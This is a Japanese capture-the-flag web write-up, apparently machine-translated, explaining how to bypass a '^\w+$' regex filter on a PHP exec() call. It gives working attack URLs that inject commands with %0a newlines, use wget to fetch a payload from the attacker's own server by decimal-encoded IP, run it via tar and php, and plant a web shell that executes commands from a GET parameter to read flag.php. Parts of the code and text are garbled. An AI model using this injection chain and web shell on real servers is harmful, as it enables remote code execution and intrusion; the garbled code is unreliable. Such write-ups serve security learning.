CTF web問題のまとめ--正規表現を避けます.

3011 ワード

コード:

    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);


    $args = $_GET['args'];
    for ( $i=0; $i$args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }

    exec('./ ' . implode(" ", $args));
?>
問題:ソースからindex.phpが文字数だけのlinuxコマンドを実行することができますが、目標はflags.phpファイルのflagsを読むことです.2.ipアドレス長整数を生成することで正規表現をバイパスし、exploidスクリプトをダウンロードします.3.タタリコマンドにより、拡張なしのスクリプトをパッケージ化し、phpコマンドで実行します.
Example:
http://localhost/index.php?args[]=whatever%0a&args[]=mkdir&args[]=test%0a&args[]=cd&args[]=test%0a&args[]=wget&args[]=3232254721(  ip    ,wget IP      ,         index.html )
http://localhost/index.php?args[]=whatever%0a&args[]=tar&args[]=cvf&args[]=exploit&args[]=test%0a&args[]=php&args[]=exploit
後ろにスペースが付いていますので、どうしてもコマンド一つで解決できません.この時は複数のコマンドが必要です.まず%0 Aを使ってカットオフします.改行実行後のコマンドに相当します.その後は何とかしてshellに伝わりました.phpファイルを直接ダウンロードすることができませんでした.
shell.php', ' header("Content-Type: text/plain");
print shell_exec($_GET["cmd"]);?>
');
?>
上のスクリプトを自分のサーバーに置いて、wgetで取得した後、tarで包装してからphpでtarパッケージを実行すれば、shellファイルを書き込むことができます.
http://localhost/shell.php?cat flag.php